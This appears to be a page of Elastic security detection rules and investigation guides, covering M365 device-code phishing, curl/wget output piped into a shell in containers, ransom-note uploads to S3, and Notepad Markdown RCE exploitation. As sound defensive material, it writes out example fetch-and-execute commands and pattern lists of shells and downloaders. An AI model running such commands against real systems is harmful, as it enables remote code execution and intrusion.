    a new home or office ISP, a corporate VPN, or a mobile carrier. Device code authentication is expected when
    enrolling or signing in on input-constrained devices (smart TVs, kiosks, IoT, conference room devices) and for some
    CLI or headless developer workflows. Review the source ASN, geolocation, and the user's prior device code history to
    confirm whether the origin is plausible before escalating.
    """,
]
from = "now-9m"
index = ["logs-o365.audit-*"]
language = "kuery"
license = "Elastic License v2"
name = "M365 Identity Device Code Grant with Unusual User and ASN"
note = """## Triage and analysis

### Investigating M365 Identity Device Code Grant with Unusual User and ASN

This rule detects a user completing an OAuth device code grant (`Cmsi:Cmsi`) to the Microsoft Authentication Broker for Microsoft Graph from a source ASN not seen for that user within the rule's historical window (defined by the new terms history setting). A match means the user has not authenticated via this flow from that ASN during the lookback window, not necessarily that it has never happened. Device code phishing kits (for example Kali365, Storm-2372 tradecraft) drive the device code flow against the genuine Microsoft endpoint and poll the token endpoint in the background, so the victim satisfies MFA while the attacker harvests a fully MFA-satisfied token. The grant therefore frequently appears from residential proxy or hosting/datacenter infrastructure the user has not authenticated from during the window.

### Possible investigation steps

- Review `o365.audit.UserId` to identify the impacted account and confirm whether the user expected to perform a device code sign-in.
- Inspect `source.as.number` and `source.as.organization.name` for the source ASN. Hosting, VPN, or datacenter providers (for example Tencent, Alibaba, DigitalOcean) are unusual for interactive user authentication.
- Review `source.ip`, `source.geo.country_name`, and `source.geo.city_name` and compare with the user's normal sign-in locations.
- Examine `o365.audit.DeviceProperties` and `user_agent.original` for non-managed devices and automation or headless-browser patterns.
- Confirm `o365.audit.ApplicationId` is the Microsoft Authentication Broker (`29d9ed98-a469-4536-ade2-f981bc1d605e`) and `o365.audit.Target.ID` is Microsoft Graph (`00000003-0000-0000-c000-000000000000`).
- Pivot to `azure.signinlogs` for the corresponding `deviceCode` sign-in, including `is_interactive`, conditional access decisions, and any concurrent non-interactive token-issuance legs from a different ASN (the kit's polling backend).
- Pivot to `azure.graphactivitylogs` for follow-up Graph activity (`/me` recon, mailbox or file enumeration) from the same or related ASNs.
- Check `azure.auditlogs` for subsequent device registration events on the user, which device code phishing kits use to establish Primary Refresh Token persistence.

### False positive analysis

- A legitimate first-time device code sign-in from a new ISP, mobile carrier, corporate VPN, or while traveling.
- Provisioning of input-constrained devices (smart TVs, kiosks, IoT, conference room devices).
- CLI or headless developer workflows that use the device code flow against the Authentication Broker.
- If a source ASN is confirmed benign and recurring for the environment, suppress it via a rule exception rather than broadening the query.

### Response and remediation

- Contact the user to confirm whether they initiated the device code sign-in or may have entered a code presented on a phishing page.
- If unauthorized, revoke all refresh tokens for the user and reset credentials to invalidate the harvested token.
- Review and remove any unauthorized device registrations to cut off Primary Refresh Token persistence.
- Review recent Microsoft Graph, Exchange, SharePoint, and Teams activity for the user for signs of recon or exfiltration.
- Restrict device code authentication to only the users and applications that require it via Conditional Access authentication flow policies.
- Educate users on device code phishing and the risk of entering codes presented by unsolicited documents or messages.
"""
references = [
    "https://arcticwolf.com/resources/blog/token-bingo-dont-let-your-code-be-the-winner/",
    "https://arcticwolf.com/resources/blog/kali365-expands-into-aws-microsoft-okta-xerox-max-messenger/",
    "https://www.ic3.gov/PSA/2026/PSA260521",
    "https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication/",
    "https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/",
]
risk_score = 73
rule_id = "ed2461e1-d6bf-4550-87b9-c008d6ac15f4"
setup = """#### Required Microsoft 365 Audit Logs
This rule requires the Microsoft 365 integration with unified audit logs (Azure AD / Entra sign-in events surfaced in the Microsoft 365 audit log) enabled and shipping to Elastic.
"""
severity = "high"
tags = [
    "Domain: Cloud",
    "Domain: SaaS",
    "Domain: Identity",
    "Data Source: Microsoft 365",
    "Data Source: Microsoft 365 Audit Logs",
    "Use Case: Identity and Access Audit",
    "Use Case: Threat Detection",
    "Resources: Investigation Guide",
    "Tactic: Initial Access",
]
timestamp_override = "event.ingested"
type = "new_terms"

query = '''
event.dataset: "o365.audit"
    and o365.audit.ExtendedProperties.RequestType: "Cmsi:Cmsi"
    and o365.audit.Actor.Type: (0 or 2 or 3 or 5 or 10)
    and o365.audit.ApplicationId: "29d9ed98-a469-4536-ade2-f981bc1d605e"
    and o365.audit.Target.ID: "00000003-0000-0000-c000-000000000000"
    and o365.audit.DeviceProperties.Value: "False"
'''


[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1078"
name = "Valid Accounts"
reference = "https://attack.mitre.org/techniques/T1078/"
[[rule.threat.technique.subtechnique]]
id = "T1078.004"
name = "Cloud Accounts"
reference = "https://attack.mitre.org/techniques/T1078/004/"


[[rule.threat.technique]]
id = "T1566"
name = "Phishing"
reference = "https://attack.mitre.org/techniques/T1566/"
[[rule.threat.technique.subtechnique]]
id = "T1566.002"
name = "Spearphishing Link"
reference = "https://attack.mitre.org/techniques/T1566/002/"



[rule.threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1550"
name = "Use Alternate Authentication Material"
reference = "https://attack.mitre.org/techniques/T1550/"
[[rule.threat.technique.subtechnique]]
id = "T1550.001"
name = "Application Access Token"
reference = "https://attack.mitre.org/techniques/T1550/001/"



[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[rule.new_terms]
field = "new_terms_fields"
value = ["o365.audit.UserId", "source.as.number"]
[[rule.new_terms.history_window_start]]
field = "history_window_start"
value = "now-7d"


Stages and Predicates

Stage 1: new_terms

event.dataset: "o365.audit"
    and o365.audit.ExtendedProperties.RequestType: "Cmsi:Cmsi"
    and o365.audit.Actor.Type: (0 or 2 or 3 or 5 or 10)
    and o365.audit.ApplicationId: "29d9ed98-a469-4536-ade2-f981bc1d605e"
    and o365.audit.Target.ID: "00000003-0000-0000-c000-000000000000"
    and o365.audit.DeviceProperties.Value: "False"

Indicators

These rows show field, operator, and value matches.

Payload Execution via Shell Pipe Detected by Defend for Containers

#
Status
production
Severity
medium
Time window
1s
Sequence by
container.id, process.parent.entity_id
Author
Elastic
Source
github.com/elastic/detection-rules

This rule detects when a payload is downloaded and piped to a shell inside a running container. This could indicate a threat actor downloaded a payload and executed it using a shell without the payload being stored on the filesystem.

MITRE ATT&CK Coverage

Rule Body

[metadata]
creation_date = "2026/02/10"
integration = ["cloud_defend"]
maturity = "production"
min_stack_comments = "Defend for Containers integration was re-introduced in 9.3.0"
min_stack_version = "9.3.0"
updated_date = "2026/03/24"

[rule]
author = ["Elastic"]
description = """
This rule detects when a payload is downloaded and piped to a shell inside a running container. This
could indicate a threat actor downloaded a payload and executed it using a shell without the payload
being stored on the filesystem.
"""
from = "now-6m"
index = ["logs-cloud_defend.process*"]
interval = "5m"
language = "eql"
license = "Elastic License v2"
name = "Payload Execution via Shell Pipe Detected by Defend for Containers"
note = """## Triage and analysis

> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

### Investigating Payload Execution via Shell Pipe Detected by Defend for Containers

This rule detects an interactive session in a running Linux container where a downloader process is immediately followed by a shell execution, consistent with fetching code and executing it without writing a file. This matters because piping remote content directly into a shell enables fast, stealthy execution and can bypass filesystem-based controls and forensics. Attackers commonly run patterns like `curl http://host/payload.sh | sh` or `wget -qO- http://host/bootstrap | bash` during initial foothold or lateral movement inside containers.

### Possible investigation steps

- Capture the full interactive command line and session context (TTY/user, working directory, parent chain) to determine whether the shell received stdin from the downloader and what was executed.  
- Identify the remote URL/host contacted and pivot on outbound network telemetry (DNS/HTTP/SNI/IP) to confirm download success, reputation, and whether the endpoint has been used by other workloads.  
- Enumerate follow-on processes spawned by the shell within the next few minutes (e.g., package installs, compilers, crypto-miners, persistence tooling) to assess impact and scope of execution.  
- Check for container breakout or host interaction indicators by reviewing new mounts, access to the Docker/CRI socket, privileged namespace usage, and any writes to host paths from within the container.  
- Preserve volatile artifacts by exporting the container filesystem and collecting in-memory/runtime evidence (environment variables, loaded binaries, cron/systemd/user profiles) before the workload is recycled.

### False positive analysis

- An administrator or developer may use an interactive exec session to troubleshoot or apply a quick remediation by running `curl`/`wget` piped into `sh` (to avoid saving a temporary file), so validate the interactive user/TTY, parent process chain, and whether the contacted URL/host is an expected internal source.  
- During manual container bootstrap or environment setup, an operator may fetch a short initialization or configuration script via `curl`/`wget` and immediately invoke a shell to run it, so confirm it aligns with recent deployment/change activity and that follow-on process, network, and filesystem behavior matches the intended setup.

### Response and remediation

- Immediately isolate the affected container/pod by blocking egress and terminating any active `kubectl exec`/interactive sessions that launched `curl`/`wget` and then a shell to stop further command execution.  
- Preserve evidence before restart by snapshotting the container image/filesystem and collecting running process trees, open network connections, environment variables, and shell history/output associated with the piped execution.  
- Eradicate by deleting and redeploying the workload from a known-good image, rotating any secrets and tokens available to the container, and removing any unauthorized binaries, cron jobs, startup scripts, or modified entrypoints created by the shell session.  
- Escalate to incident response immediately if the downloaded content contacted unknown/external infrastructure, spawned post-exploitation tooling (e.g., miners, scanners, reverse shells), or showed signs of host interaction such as access to the container runtime socket or host-mounted paths.  
- Harden by restricting interactive exec access (RBAC/MFA/just-in-time), enforcing signed/approved images, applying network policies to limit outbound access, and adding runtime controls to block `curl|sh`/`wget|sh` patterns or require allowlisted internal artifact sources."""
references = [
    "https://flare.io/learn/resources/blog/teampcp-cloud-native-ransomware",
]
risk_score = 47
rule_id = "a750bbcc-863f-41ef-9924-fd8224e23694"
severity = "medium"
tags = [
    "Data Source: Elastic Defend for Containers",
    "Domain: Container",
    "OS: Linux",
    "Use Case: Threat Detection",
    "Tactic: Execution",
    "Tactic: Command and Control",
    "Tactic: Defense Evasion",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
sequence by process.parent.entity_id, container.id with maxspan=1s
  [process where event.type == "start" and event.action == "exec" and process.name in ("curl", "wget")]
  [process where event.action in ("exec", "end") and
  /*
    If the flow is executed from a parent script, the event action will be "exec".
    If the flow is executed manually, the event action will be "end".
  */
   process.name like (
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox",
     "python*", "perl*", "ruby*", "lua*", "php*"
   ) and
   process.args like (
     "-bash", "-dash", "-sh", "-tcsh", "-csh", "-zsh", "-ksh", "-fish",
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish",
     "/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh", "/bin/csh",
     "/bin/zsh", "/bin/ksh", "/bin/fish",
     "/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh",
     "/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish",
     "-busybox", "busybox", "/bin/busybox", "/usr/bin/busybox",
     "*python*", "*perl*", "*ruby*", "*lua*", "*php*", "/dev/fd/*"
   ) and
   not process.args in (
     "which", "/bin/which", "/usr/bin/which", "/usr/local/bin/which",
     "man", "/bin/man", "/usr/bin/man", "/usr/local/bin/man",
     "chmod", "/bin/chmod", "/usr/bin/chmod", "/usr/local/bin/chmod",
     "chown", "/bin/chown", "/usr/bin/chown", "/usr/local/bin/chown"
   )]
'''

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"

[[rule.threat.technique.subtechnique]]
id = "T1059.004"
name = "Unix Shell"
reference = "https://attack.mitre.org/techniques/T1059/004/"

[[rule.threat.technique.subtechnique]]
id = "T1059.006"
name = "Python"
reference = "https://attack.mitre.org/techniques/T1059/006/"

[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1071"
name = "Application Layer Protocol"
reference = "https://attack.mitre.org/techniques/T1071/"

[[rule.threat.technique]]
id = "T1105"
name = "Ingress Tool Transfer"
reference = "https://attack.mitre.org/techniques/T1105/"

[rule.threat.tactic]
id = "TA0011"
name = "Command and Control"
reference = "https://attack.mitre.org/tactics/TA0011/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

Stages and Predicates

Ordered sequence: each step below must occur in order within 1s, correlated by container.id, process.parent.entity_id.

Stage 1: process

[process where event.type == "start" and event.action == "exec" and process.name in ("curl", "wget")]

Stage 2: process

[process where event.action in ("exec", "end") and
  /*
    If the flow is executed from a parent script, the event action will be "exec".
    If the flow is executed manually, the event action will be "end".
  */
   process.name like (
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox",
     "python*", "perl*", "ruby*", "lua*", "php*"
   ) and
   process.args like (
     "-bash", "-dash", "-sh", "-tcsh", "-csh", "-zsh", "-ksh", "-fish",
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish",
     "/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh", "/bin/csh",
     "/bin/zsh", "/bin/ksh", "/bin/fish",
     "/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh",
     "/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish",
     "-busybox", "busybox", "/bin/busybox", "/usr/bin/busybox",
     "*python*", "*perl*", "*ruby*", "*lua*", "*php*", "/dev/fd/*"
   ) and
   not process.args in (
     "which", "/bin/which", "/usr/bin/which", "/usr/local/bin/which",
     "man", "/bin/man", "/usr/bin/man", "/usr/local/bin/man",
     "chmod", "/bin/chmod", "/usr/bin/chmod", "/usr/local/bin/chmod",
     "chown", "/bin/chown", "/usr/bin/chown", "/usr/local/bin/chown"
   )]

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
event.actioneq
  • exec
field:"EventType" kind:eq value:"exec"
event.actionin
  • end
  • exec
field:"EventType" kind:in
event.typeeq
  • start
field:"event.type" kind:eq value:"start"
process.argswildcard
  • *lua*
  • *perl*
  • *php*
  • *python*
  • *ruby*
  • -bash
  • -busybox
  • -csh
  • -dash
  • -fish
  • -ksh
  • -sh
  • -tcsh
  • -zsh
  • /bin/bash
  • /bin/busybox
  • /bin/csh
  • /bin/dash
  • /bin/fish
  • /bin/ksh
  • /bin/sh
  • /bin/tcsh
  • /bin/zsh
  • /dev/fd/*
  • /usr/bin/bash
  • /usr/bin/busybox
  • /usr/bin/csh
  • /usr/bin/dash
  • /usr/bin/fish
  • /usr/bin/ksh
  • /usr/bin/sh
  • /usr/bin/tcsh
  • /usr/bin/zsh
  • bash
  • busybox
  • csh
  • dash
  • fish
  • ksh
  • sh
  • tcsh
  • zsh
field:"process.args" kind:wildcard
process.namein
  • curl
  • wget
field:"process_basename" kind:in
process.namewildcard
  • bash
  • busybox
  • csh
  • dash
  • fish
  • ksh
  • lua*
  • perl*
  • php*
  • python*
  • ruby*
  • sh
  • tcsh
  • zsh
field:"process_basename" kind:wildcard

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
process.argsin/bin/chmod, /bin/chown, /bin/man, /bin/which, /usr/bin/chmod, /usr/bin/chown, /usr/bin/man, /usr/bin/which, /usr/local/bin/chmod, /usr/local/bin/chown, /usr/local/bin/man, /usr/local/bin/which, chmod, chown, man, whichexcludes:process.args

Potential AWS S3 Bucket Ransomware Note Uploaded

#
Status
production
Severity
medium
Time window
6m
Author
Elastic
Source
github.com/elastic/detection-rules

Identifies potential ransomware note being uploaded to an AWS S3 bucket. This rule detects the PutObject S3 API call with an object name commonly associated with ransomware notes. The keywords detected here rarely overlap with common file names and have been attributed to ransomware notes with high-confidence. Adversaries with access to a misconfigured S3 bucket may retrieve, delete, and replace objects with ransom notes to extort victims.

Known False Positives

  • This rule uses matches regex patterns for common ransom note file names. Ensure that the uploaded file is not part of a legitimate operation before taking action.

MITRE ATT&CK Coverage

Telemetry Coverage

Rules Detecting the Same Action

These rules filter on the same operation.

Rule Body

[metadata]
creation_date = "2024/04/17"
integration = ["aws"]
maturity = "production"
updated_date = "2026/07/13"

[rule]
author = ["Elastic"]
description = """
Identifies potential ransomware note being uploaded to an AWS S3 bucket. This rule detects the PutObject S3 API call
with an object name commonly associated with ransomware notes. The keywords detected here rarely overlap with common file names and have been attributed to ransomware notes with high-confidence. Adversaries with access to a misconfigured
S3 bucket may retrieve, delete, and replace objects with ransom notes to extort victims.
"""
false_positives = [
    """
    This rule uses matches regex patterns for common ransom note file names. Ensure that the uploaded file is not part of a legitimate operation before taking action.
    """,
]
from = "now-6m"
index = ["filebeat-*", "logs-aws.cloudtrail-*"]
language = "eql"
license = "Elastic License v2"
name = "Potential AWS S3 Bucket Ransomware Note Uploaded"
note = """
## Triage and analysis

### Investigating Potential AWS S3 Bucket Ransomware Note Uploaded

This rule detects a successful `PutObject` to S3 where the object key matches common ransomware-note patterns (for example, `readme`, `decrypt`, `ransom`, and combinations with `file`). Attackers who obtain credentials or abuse overly-permissive bucket policies can upload ransom notes (often after deleting or encrypting data).

### Possible investigation steps

**Confirm the actor and session details** 
- Review `aws.cloudtrail.user_identity.*` (ARN, type, access key, session context), `source.ip`, `user.agent`, and `tls.client.server_name` to identify who performed the upload and from where. Validate whether this principal typically writes to this bucket. 

**Inspect the object key and bucket context** 
- From `aws.cloudtrail.request_parameters`, capture the exact `key` and `bucketName`. Check whether the key is publicly readable (ACL), whether the bucket is internet-exposed, and whether replication or lifecycle rules could propagate or remove related objects. 

**Pivot to related S3 activity around the same time** 
- Look for `DeleteObject`/`DeleteObjects`, mass `PutObject` spikes, `PutBucketPolicy`, `PutPublicAccessBlock`, `PutBucketVersioning`, and `PutBucketLifecycleConfiguration` events on the same bucket or by the same actor to determine if data destruction, policy tampering, or guard-rail changes occurred. 

**Assess blast radius across the account** 
- Search recent CloudTrail for the same actor/IP touching other buckets, KMS keys used by those buckets, and IAM changes (new access keys, policy attachments, role assumptions) that could indicate broader compromise paths consistent with ransomware playbooks. 

**Check protections and recovery posture on the bucket** 
- Verify whether S3 Versioning and (if in use) Object Lock legal hold are enabled; note prior versions available for the affected key, and whether lifecycle rules might expire them. 

**Correlate with threat signals** 
- Review other related alerts, GuardDuty S3-related findings, AWS Config drift on the bucket and its policy, and any SOAR/IR runbook executions tied to ransomware triage. 

### False positive analysis
- Planned tests or red-team exercises
- Benign automation naming. Some data-migration or backup tools may use “readme”/“recovery”-style filenames; validate by `user.agent`, principal, and target environment (dev vs prod). 


### Response and remediation

**Immediate, low-risk actions (safe for most environments)**
- **Preserve context** : Export the triggering `PutObject` CloudTrail record(s), plus 15–30 min before/after, to an evidence bucket (restricted access). 
- **Snapshot configuration** : Record current bucket settings (Block Public Access, Versioning, Object Lock, Bucket Policy, Lifecycle rules) and any KMS keys used.
- **Quiet the spread** : Pause destructive automation: disable/bypass lifecycle rules that would expire/delete object versions; temporarily pause data pipelines targeting the bucket.
- **Notify owners** : Inform the bucket/application owner(s) and security leadership.

**Containment options (choose the least disruptive first)**
- **Harden exposure** : If not already enforced, enable `Block Public Access` for the bucket.
- **Targeted deny policy (temporary)** : Add a restrictive bucket policy allowing only IR/admin roles while you scope impact. Reconfirm critical workload dependencies before applying.
- **Credential risk reduction** : If a specific IAM user/key or role is implicated, rotate access keys; for roles, remove risky policy attachments or temporarily restrict with an SCP/deny statement.

**Evidence preservation**
- Export relevant CloudTrail events, S3 server/access logs (if enabled), AWS Config history for the bucket/policy, and the suspicious object plus its previous versions (if Versioning is enabled).
- Document actor ARN, source IPs, user agent(s), exact `bucketName`/`key`, and timestamps. Maintain a simple chain-of-custody note for collected artifacts.

**Scope and hunting (same actor/time window)**
- Look for `DeleteObject(s)`, unusual `PutObject` volume, `PutBucketPolicy`, `PutPublicAccessBlock`, `PutBucketVersioning` changes, `PutBucketLifecycleConfiguration`, and cross-account access.
- Cross reference other buckets touched by the same actor/IP; recent IAM changes (new keys, policy/role edits); GuardDuty findings tied to S3/credentials.

**Recovery (prioritize data integrity)**
- If Versioning is enabled, restore last known-good versions for impacted objects. Consider applying Object Lock legal hold to clean versions during recovery if configured.
- If Versioning is not enabled, recover from backups (AWS Backup, replication targets). Enable Versioning going forward on critical buckets; evaluate Object Lock for high-value data.
- Carefully remove any temporary deny policy only after credentials are rotated, policies re-validated, and no ongoing destructive activity is observed.

**Post-incident hardening**
- Enforce `Block Public Access`, enable Versioning (and MFA-Delete where appropriate), and review bucket policies for least privilege.
- Ensure continuous CloudTrail data events for S3 are enabled in covered regions; enable/verify GuardDuty S3 protections and alerts routing.
- Add detections for related behaviors (policy tampering, bulk deletes, versioning/lifecycle toggles) and create allowlists for known maintenance windows.


### Additional information

- For further guidance on managing S3 bucket security and protecting against ransomware, refer to the [AWS S3 documentation](https://docs.aws.amazon.com/AmazonS3/latest/userguide/Welcome.html) and AWS best practices for security.
- [AWS IRP—Ransomware](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/IRP-Ransomware.md) (NIST-aligned template for evidence, containment, eradication, recovery, post-incident). 
- [AWS Customer Playbook—Ransom Response (S3)](https://github.com/aws-samples/aws-customer-playbook-framework/blob/a8c7b313636b406a375952ac00b2d68e89a991f2/docs/Ransom_Response_S3.md) (bucket-level response steps: public access blocks, temporary deny, versioning/object lock, lifecycle considerations, recovery). 
"""

references = [
    "https://stratus-red-team.cloud/attack-techniques/AWS/aws.impact.s3-ransomware-batch-deletion/",
    "https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/",
    "https://www.mdpi.com/2073-431X/10/11/145#computers-10-00145-f002",
]
risk_score = 47
rule_id = "7fda9bb2-fd28-11ee-85f9-f661ea17fbce"
setup = "AWS S3 data types need to be enabled in the CloudTrail trail configuration to capture PutObject API calls."
severity = "medium"
tags = [
    "Domain: Cloud",
    "Data Source: AWS",
    "Data Source: Amazon Web Services",
    "Data Source: AWS S3",
    "Use Case: Threat Detection",
    "Tactic: Impact",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"

query = '''
file where
  data_stream.dataset == "aws.cloudtrail" and
  event.provider == "s3.amazonaws.com" and
  event.action == "PutObject" and
  event.outcome == "success" and
  /* Apply regex to match patterns only after the bucket name */
  /* common ransom note file name keywords */
  aws.cloudtrail.resources.arn regex~ "arn:aws:s3:::[^/]+/.*?(how|decrypt|restor|help|instruct|read|get|recov|save|encrypt|delet|info|ransom).*"
  and not aws.cloudtrail.resources.arn regex~ ".*(AWSLogs|CloudTrail|access-logs).*"
  and not aws.cloudtrail.user_identity.type == "AWSService"
'''

[rule.investigation_fields]
field_names = [
    "@timestamp",
    "user.name",
    "user_agent.original",
    "source.ip",
    "aws.cloudtrail.user_identity.arn",
    "aws.cloudtrail.user_identity.type",
    "aws.cloudtrail.user_identity.access_key_id",
    "aws.cloudtrail.resources.arn",
    "aws.cloudtrail.resources.type",
    "tls.client.server_name",
    "event.action",
    "event.outcome",
    "cloud.account.id",
    "cloud.region",
    "aws.cloudtrail.request_parameters",
    "aws.cloudtrail.response_elements"
]

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1485"
name = "Data Destruction"
reference = "https://attack.mitre.org/techniques/T1485/"

[[rule.threat.technique]]
id = "T1486"
name = "Data Encrypted for Impact"
reference = "https://attack.mitre.org/techniques/T1486/"

[[rule.threat.technique]]
id = "T1565"
name = "Data Manipulation"
reference = "https://attack.mitre.org/techniques/T1565/"

[[rule.threat.technique.subtechnique]]
id = "T1565.001"
name = "Stored Data Manipulation"
reference = "https://attack.mitre.org/techniques/T1565/001/"

[rule.threat.tactic]
id = "TA0040"
name = "Impact"
reference = "https://attack.mitre.org/tactics/TA0040/"

Stages and Predicates

Stage 1: file

file where
  data_stream.dataset == "aws.cloudtrail" and
  event.provider == "s3.amazonaws.com" and
  event.action == "PutObject" and
  event.outcome == "success" and
  aws.cloudtrail.resources.arn regex~ "arn:aws:s3:::[^/]+/.*?(how|decrypt|restor|help|instruct|read|get|recov|save|encrypt|delet|info|ransom).*"
  and not aws.cloudtrail.resources.arn regex~ ".*(AWSLogs|CloudTrail|access-logs).*"
  and not aws.cloudtrail.user_identity.type == "AWSService"

Indicators

These rows show field, operator, and value matches.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
aws.cloudtrail.resources.arnregex_match.*(AWSLogs|CloudTrail|access-logs).*excludes:aws.cloudtrail.resources.arn field:"aws.cloudtrail.resources.arn" value:".*(AWSLogs|CloudTrail|access-logs).*"
aws.cloudtrail.user_identity.typeeqAWSServiceexcludes:aws.cloudtrail.user_identity.type field:"aws.cloudtrail.user_identity.type" value:"AWSService"

Potential Notepad Markdown RCE Exploitation

#
Status
production
Severity
high
Time window
9m
Author
Elastic
Source
github.com/elastic/detection-rules

Identifies a process started by Notepad after opening a Markdown file. This may indicate successful exploitation of a Notepad markdown parsing vulnerability (CVE-2026-20841) that can lead to arbitrary code execution.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

[metadata]
creation_date = "2026/02/16"
integration = ["endpoint", "windows", "m365_defender", "sentinel_one_cloud_funnel"]
maturity = "production"
updated_date = "2026/05/01"

[rule]
author = ["Elastic"]
description = """
Identifies a process started by Notepad after opening a Markdown file. This may indicate successful exploitation of a
Notepad markdown parsing vulnerability (CVE-2026-20841) that can lead to arbitrary code execution.
"""
from = "now-9m"
index = [
    "endgame-*",
    "logs-endpoint.events.process-*",
    "logs-m365_defender.event-*",
    "logs-sentinel_one_cloud_funnel.*",
    "logs-windows.sysmon_operational-*"
]
language = "eql"
license = "Elastic License v2"
name = "Potential Notepad Markdown RCE Exploitation"
references = ["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841"]
risk_score = 73
rule_id = "7f3521dd-fb80-4548-a7eb-8db37b898dc2"
severity = "high"
tags = [
    "Domain: Endpoint",
    "OS: Windows",
    "Use Case: Threat Detection",
    "Tactic: Execution",
    "Data Source: Elastic Endgame",
    "Data Source: Elastic Defend",
    "Data Source: Microsoft Defender XDR",
    "Data Source: Sysmon",
    "Data Source: SentinelOne",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"

query = '''
process where host.os.type == "windows" and event.type == "start" and
  process.parent.name : "notepad.exe" and process.parent.args : "*.md" and
  not process.executable : "C:\\Program Files\\WindowsApps\\Microsoft.WindowsNotepad_*\\Notepad\\Notepad.exe"
'''

note = """## Triage and analysis

### Investigating Potential Notepad Markdown RCE Exploitation

#### Possible investigation steps

- What exact Notepad-to-child path did the alert preserve?
  - Why: CVE-2026-20841 abuse centers on Markdown link handling that invokes unsafe protocol handlers, so the launched child and target are decisive.
  - Focus: `process.parent.executable`, `process.parent.command_line`, `process.parent.args`, child `process.executable`, and child `process.command_line`.
  - Implication: escalate when Notepad opened Markdown and launched a shell, script host, downloader, browser, archive handler, installer, or custom protocol handler with a URL, UNC path, file URI, app installer URI, or staged payload; lower suspicion only when child and target match a confirmed validation workflow.

- What does child binary identity add to command intent?
  - Focus: child `process.executable`, `process.hash.sha256`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `process.pe.original_file_name`.
  - Implication: escalate when the child is unsigned, user-writable, signer/name-mismatched, or unusual for Markdown link handling; reduce suspicion only when signer, path, hash history, and command target all fit the same confirmed validation workflow.

- Does parent launch context point to lure delivery or controlled use?
  - Focus: Markdown path from `process.parent.args`, `process.parent.command_line`, `user.id`, `host.id`, and `host.name`.
  - Implication: escalate when the path is in downloads, mail or chat caches, temp, removable media, network shares, or lure-like filenames; lower suspicion only when source path and child target match a confirmed validation case for the same user or host.

- Did the child start more exploit-chain processes?
  - Focus: process events on `host.id` where `process.parent.entity_id` links to `process.entity_id`, recording descendant `process.executable` and `process.command_line`. $investigate_4
  - Hint: prefer entity ID-linked descendants; treat PID-only matches as candidates tightly anchored to `@timestamp`. Inspect `process.Ext.ancestry` only when direct lineage is incomplete.
  - Implication: escalate for descendant shells, script interpreters, LOLBins, installers, payload runners, or browser-to-download chains; no descendants limits process scope but does not clear the Notepad launch.

- Did the child stage artifacts for later execution?
  - Focus: if file telemetry exists, review process-scoped `file.path`, `file.Ext.original.path`, and later `process.executable` reuse of a written path. $investigate_0
  - Hint: recover with `host.id` + `process.entity_id`; if unavailable, use `host.id` + `process.pid` + a tight alert window. Missing file telemetry is unresolved, not benign.
  - Implication: escalate when the child writes executables, scripts, shortcuts, archives, or renamed payloads to user-writable paths, or a written artifact later runs; clean available file telemetry means staging is not corroborated, not that the alert is benign.

- Did the child contact payload-delivery destinations?
  - Focus: if DNS or connection telemetry exists, review `dns.question.name`, `destination.ip`, and `destination.port`. $investigate_1
  - Hint: recover with `host.id` + `process.entity_id`; if unavailable, use `host.id` + `process.pid` + a tight alert window. Missing DNS or connection telemetry is unresolved, not benign.
  - Implication: escalate when the child resolves or connects to rare, external, newly introduced, or delivery-oriented destinations outside its role; clean available network telemetry removes one corroborator but cannot override suspicious alert-local execution.

- If local evidence is suspicious or unresolved, does the pattern change scope?
  - Focus: related alerts for the same `user.id` over 48 hours, comparing child `process.executable`, child `process.command_line`, and source-path patterns from `process.parent.args` when present. $investigate_2
  - Hint: if the user view is empty or ambiguous, compare related alerts for the same `host.id` over 48 hours before broadening. $investigate_3
  - Implication: broaden when related alerts show the same Notepad-child pattern, source-path family, or delivery indicator across unrelated users or hosts; use recurrence for scope only, not benign closure.

